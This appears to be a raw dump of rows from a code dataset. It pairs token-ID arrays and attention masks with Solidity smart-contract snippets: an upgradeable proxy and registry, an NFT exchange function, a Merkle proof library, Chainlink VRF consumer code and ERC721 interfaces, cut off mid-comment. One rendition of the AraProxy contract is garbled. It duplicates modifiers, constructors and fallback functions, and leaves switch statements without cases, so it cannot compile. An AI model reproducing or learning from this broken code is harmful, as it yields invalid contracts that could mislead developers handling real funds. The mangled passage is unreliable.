[ 1, 19132, 3677, 358, 443, 1724, 2523, 329, 1345, 1368, 333, 6835, 18, 7852, 1359, 1297, 506, 444, 603, 333, 6835, 364, 315, 2316, 6, 316, 622, 4520, 326, 3844, 315, 8949, 9654, 282, 27641, 74, 14463, 814, 225, 1021, 2236, 716, 903, 506, 3281, 305, 1259, 358, 333, 443, 1631, 305, 282, 3844, 4202, 1021, 3844, 434, 2523, 329, 1345, 358, 443, 1724, 327, 2868, 1021, 2783, 1300, 716, 1703, 443, 1724, 329, 1368, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 203, 3639, 1758, 27641, 74, 14463, 814, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 490, 5243, 7333, 273, 490, 5243, 12, 40, 61, 28826, 67, 19772, 7702, 1769, 203, 3639, 1731, 1578, 1754, 548, 273, 26808, 67, 734, 31, 203, 203, 3639, 2583, 12, 203, 5411, 27641, 74, 14463, 814, 480, 1758, 12, 20, 3631, 203, 5411, 315, 4103, 48, 2345, 7, 323, 1724, 30, 605, 4009, 74, 14463, 814, 2780, 506, 326, 3634, 1758, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 3844, 480, 374, 16, 203, 5411, 315, 4103, 48, 2345, 7, 323, 1724, 30, 14143, 443, 1724, 3634, 2430, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 401, 10107, 18, 291, 2555, 7395, 12, 3276, 548, 3631, 203, 5411, 315, 4103, 48, 2345, 7, 323, 1724, 30, 14143, 443, 1724, 1839, 326, 1754, 353, 4375, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 401, 10107, 18, 291, 2555, 8185, 12, 3276, 548, 3631, 203, 5411, 315, 4103, 48, 2345, 7, 323, 1724, 30, 14143, 443, 1724, 1323, 326, 1754, 353, 7333, 17, 11777, 6, 203, 3639, 11272, 203, 203, 3639, 283, 12296, 14517, 3061, 5621, 203, 203, 3639, 18233, 2056, 67, 8412, 18, 13866, 1265, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 3844, 203, 3639, 11272, 203, 203, 3639, 2 ]
pragma solidity ^0.4.24; // File: contracts/AraProxy.sol /** * @title AraProxy * @dev Gives the possibility to delegate any call to a foreign implementation. */ contract AraProxy { bytes32 private constant registryPosition_ = keccak256("io.ara.proxy.registry"); bytes32 private constant implementationPosition_ = keccak256("io.ara.proxy.implementation"); modifier restricted() { bytes32 registryPosition = registryPosition_; address registryAddress; assembly { registryAddress := sload(registryPosition) } require( msg.sender == registryAddress, "Only the AraRegistry can upgrade this proxy." ); _; } /** * @dev the constructor sets the AraRegistry address */ constructor(address _registryAddress, address _implementationAddress) public { bytes32 registryPosition = registryPosition_; bytes32 implementationPosition = implementationPosition_; assembly { sstore(registryPosition, _registryAddress) sstore(implementationPosition, _implementationAddress) } } function setImplementation(address _newImplementation) public restricted { require(_newImplementation != address(0)); bytes32 implementationPosition = implementationPosition_; assembly { sstore(implementationPosition, _newImplementation) } } /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { bytes32 implementationPosition = implementationPosition_; address _impl; assembly { _impl := sload(implementationPosition) } assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } // File: contracts/AraRegistry.sol contract AraRegistry { address public owner_; mapping (bytes32 => UpgradeableContract) private contracts_; // keccak256(contractname) => struct struct UpgradeableContract { bool initialized_; address proxy_; string latestVersion_; mapping (string => address) versions_; } event UpgradeableContractAdded(bytes32 _contractName, string _version, address _address); event ContractUpgraded(bytes32 _contractName, string _version, address _address); event ProxyDeployed(bytes32 _contractName, address _address); constructor() public { owner_ = msg.sender; } modifier restricted() { require ( msg.sender == owner_, "Sender not authorized." ); _; } function getLatestVersionAddress(bytes32 _contractName) public view returns (address) { return contracts_[_contractName].versions_[contracts_[_contractName].latestVersion_]; } function getUpgradeableContractAddress(bytes32 _contractName, string _version) public view returns (address) { return contracts_[_contractName].versions_[_version]; } function addNewUpgradeableContract(bytes32 _contractName, string _version, bytes _code, bytes _data) public restricted { require(!contracts_[_contractName].initialized_, "Upgradeable contract already exists. Try upgrading instead."); address deployedAddress; assembly { deployedAddress := create(0, add(_code, 0x20), mload(_code)) } contracts_[_contractName].initialized_ = true; contracts_[_contractName].latestVersion_ = _version; contracts_[_contractName].versions_[_version] = deployedAddress; _deployProxy(_contractName, deployedAddress, _data); emit UpgradeableContractAdded(_contractName, _version, deployedAddress); } function upgradeContract(bytes32 _contractName, string _version, bytes _code) public restricted { require(contracts_[_contractName].initialized_, "Upgradeable contract must exist before it can be upgraded. Try adding one instead."); address deployedAddress; assembly { deployedAddress := create(0, add(_code, 0x20), mload(_code)) } AraProxy proxy = AraProxy(contracts_[_contractName].proxy_); proxy.setImplementation(deployedAddress); contracts_[_contractName].latestVersion_ = _version; contracts_[_contractName].versions_[_version] = deployedAddress; emit ContractUpgraded(_contractName, _version, deployedAddress); } function _deployProxy(bytes32 _contractName, address _implementationAddress, bytes _data) private { require(contracts_[_contractName].proxy_ == address(0), "Only one proxy can exist per upgradeable contract."); AraProxy proxy = new AraProxy(address(this), _implementationAddress); require(address(proxy).call(abi.encodeWithSignature("init(bytes)", _data)), "Init failed."); contracts_[_contractName].proxy_ = proxy; emit ProxyDeployed(_contractName, proxy); } }
* @title AraProxy @dev Gives the possibility to delegate any call to a foreign implementation./
contract AraProxy { bytes32 private constant registryPosition_ = keccak256("io.ara.proxy.registry"); bytes32 private constant implementationPosition_ = keccak256("io.ara.proxy.implementation"); modifier restricted() { bytes32 registryPosition = registryPosition_; address registryAddress; assembly { registryAddress := sload(registryPosition) } require( msg.sender == registryAddress, "Only the AraRegistry can upgrade this proxy." ); _; } modifier restricted() { bytes32 registryPosition = registryPosition_; address registryAddress; assembly { registryAddress := sload(registryPosition) } require( msg.sender == registryAddress, "Only the AraRegistry can upgrade this proxy." ); _; } constructor(address _registryAddress, address _implementationAddress) public { bytes32 registryPosition = registryPosition_; bytes32 implementationPosition = implementationPosition_; assembly { sstore(registryPosition, _registryAddress) sstore(implementationPosition, _implementationAddress) } } constructor(address _registryAddress, address _implementationAddress) public { bytes32 registryPosition = registryPosition_; bytes32 implementationPosition = implementationPosition_; assembly { sstore(registryPosition, _registryAddress) sstore(implementationPosition, _implementationAddress) } } function setImplementation(address _newImplementation) public restricted { require(_newImplementation != address(0)); bytes32 implementationPosition = implementationPosition_; assembly { sstore(implementationPosition, _newImplementation) } } function setImplementation(address _newImplementation) public restricted { require(_newImplementation != address(0)); bytes32 implementationPosition = implementationPosition_; assembly { sstore(implementationPosition, _newImplementation) } } function () payable public { bytes32 implementationPosition = implementationPosition_; address _impl; assembly { _impl := sload(implementationPosition) } assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result } } function () payable public { bytes32 implementationPosition = implementationPosition_; address _impl; assembly { _impl := sload(implementationPosition) } assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result } } function () payable public { bytes32 implementationPosition = implementationPosition_; address _impl; assembly { _impl := sload(implementationPosition) } assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result } } case 0 { revert(ptr, size) } default { return(ptr, size) } }
6,362,394
[ 1, 37, 354, 3886, 225, 611, 3606, 326, 25547, 358, 7152, 1281, 745, 358, 279, 5523, 4471, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 432, 354, 3886, 288, 203, 203, 225, 1731, 1578, 3238, 5381, 4023, 2555, 67, 273, 417, 24410, 581, 5034, 2932, 1594, 18, 297, 69, 18, 5656, 18, 9893, 8863, 203, 225, 1731, 1578, 3238, 5381, 4471, 2555, 67, 273, 417, 24410, 581, 5034, 2932, 1594, 18, 297, 69, 18, 5656, 18, 30810, 8863, 203, 203, 203, 225, 9606, 15693, 1435, 288, 203, 565, 1731, 1578, 4023, 2555, 273, 4023, 2555, 67, 31, 203, 565, 1758, 4023, 1887, 31, 203, 565, 19931, 288, 203, 1377, 4023, 1887, 519, 272, 945, 12, 9893, 2555, 13, 203, 565, 289, 203, 565, 2583, 12, 203, 1377, 1234, 18, 15330, 422, 4023, 1887, 16, 203, 1377, 315, 3386, 326, 432, 354, 4243, 848, 8400, 333, 2889, 1199, 203, 565, 11272, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 9606, 15693, 1435, 288, 203, 565, 1731, 1578, 4023, 2555, 273, 4023, 2555, 67, 31, 203, 565, 1758, 4023, 1887, 31, 203, 565, 19931, 288, 203, 1377, 4023, 1887, 519, 272, 945, 12, 9893, 2555, 13, 203, 565, 289, 203, 565, 2583, 12, 203, 1377, 1234, 18, 15330, 422, 4023, 1887, 16, 203, 1377, 315, 3386, 326, 432, 354, 4243, 848, 8400, 333, 2889, 1199, 203, 565, 11272, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 3885, 12, 2867, 389, 9893, 1887, 16, 1758, 389, 30810, 1887, 13, 1071, 288, 203, 565, 1731, 1578, 4023, 2555, 273, 4023, 2555, 67, 31, 203, 565, 1731, 1578, 4471, 2555, 273, 4471, 2555, 67, 31, 203, 565, 19931, 288, 2 ]
./partial_match/42/0x66Eec3A5AA2E63Cc817E7417eECC3D52d0E1a857/sources/ExchangeV1.sol
Sig calldata buyerFeeSig,validateOrderSig(order, sig);validateBuyerFeeSig(order, buyerFee, buyerFeeSig);
function exchange6( Order calldata order, Sig calldata sig, uint buyerFee, uint amount, address buyer ) payable external { uint paying = order.buying.mul(amount).div(order.selling); verifyOpenAndModifyOrderState(order.key, order.selling, amount); require(order.key.sellAsset.assetType != AssetType.ETH, "ETH is not supported on sell side"); if (order.key.buyAsset.assetType == AssetType.ETH) { validateEthTransfer(paying, buyerFee); } FeeSide feeSide = getFeeSide(order.key.sellAsset.assetType, order.key.buyAsset.assetType); if (buyer == address(0x0)) { buyer = msg.sender; } transferWithFeesPossibility4(order.key.sellAsset, amount, order.key.owner, buyer, feeSide == FeeSide.SELL, buyerFee, order.sellerFee, order.key.buyAsset); transferWithFeesPossibility4(order.key.buyAsset, paying, msg.sender, order.key.owner, feeSide == FeeSide.BUY, order.sellerFee, buyerFee, order.key.sellAsset); emitBuy(order, amount, buyer); }
3,297,217
[ 1, 8267, 745, 892, 27037, 14667, 8267, 16, 5662, 2448, 8267, 12, 1019, 16, 3553, 1769, 5662, 38, 16213, 14667, 8267, 12, 1019, 16, 27037, 14667, 16, 27037, 14667, 8267, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7829, 26, 12, 203, 3639, 4347, 745, 892, 1353, 16, 203, 3639, 21911, 745, 892, 3553, 16, 203, 3639, 2254, 27037, 14667, 16, 203, 3639, 2254, 3844, 16, 203, 3639, 1758, 27037, 203, 565, 262, 8843, 429, 3903, 288, 203, 3639, 2254, 8843, 310, 273, 1353, 18, 70, 9835, 310, 18, 16411, 12, 8949, 2934, 2892, 12, 1019, 18, 87, 1165, 310, 1769, 203, 3639, 3929, 3678, 1876, 11047, 2448, 1119, 12, 1019, 18, 856, 16, 1353, 18, 87, 1165, 310, 16, 3844, 1769, 203, 3639, 2583, 12, 1019, 18, 856, 18, 87, 1165, 6672, 18, 9406, 559, 480, 10494, 559, 18, 1584, 44, 16, 315, 1584, 44, 353, 486, 3260, 603, 357, 80, 4889, 8863, 203, 3639, 309, 261, 1019, 18, 856, 18, 70, 9835, 6672, 18, 9406, 559, 422, 10494, 559, 18, 1584, 44, 13, 288, 203, 5411, 1954, 41, 451, 5912, 12, 10239, 310, 16, 27037, 14667, 1769, 203, 3639, 289, 203, 3639, 30174, 8895, 14036, 8895, 273, 2812, 1340, 8895, 12, 1019, 18, 856, 18, 87, 1165, 6672, 18, 9406, 559, 16, 1353, 18, 856, 18, 70, 9835, 6672, 18, 9406, 559, 1769, 203, 3639, 309, 261, 70, 16213, 422, 1758, 12, 20, 92, 20, 3719, 288, 203, 5411, 27037, 273, 1234, 18, 15330, 31, 203, 3639, 289, 203, 3639, 7412, 1190, 2954, 281, 1616, 17349, 24, 12, 1019, 18, 856, 18, 87, 1165, 6672, 16, 3844, 16, 1353, 18, 856, 18, 8443, 16, 27037, 16, 14036, 8895, 422, 30174, 8895, 18, 1090, 4503, 16, 27037, 14667, 16, 2 ]
// SPDX-License-Identifier: GPL-3.0 /* :::::::: :::::::: :::: ::: :::::::: :::::::: ::: :::::::::: :::: ::: :::::::::: ::::::::::: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+: :+: :+: +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +#+ +#+ +:+ +#+ +:+ +#+ +#++:++#++ +#+ +:+ +#+ +#++:++# +#+ +:+ +#+ :#::+::# +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+# #+# ######## ######## ### #### ######## ######## ########## ########## ### #### ### ### */ pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // File: https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/interfaces/LinkTokenInterface.sol interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // File: https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/VRFConsumerBase.sol /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 private constant USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface internal immutable LINK; address private immutable vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 => uint256) /* keyHash */ /* nonce */ private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use 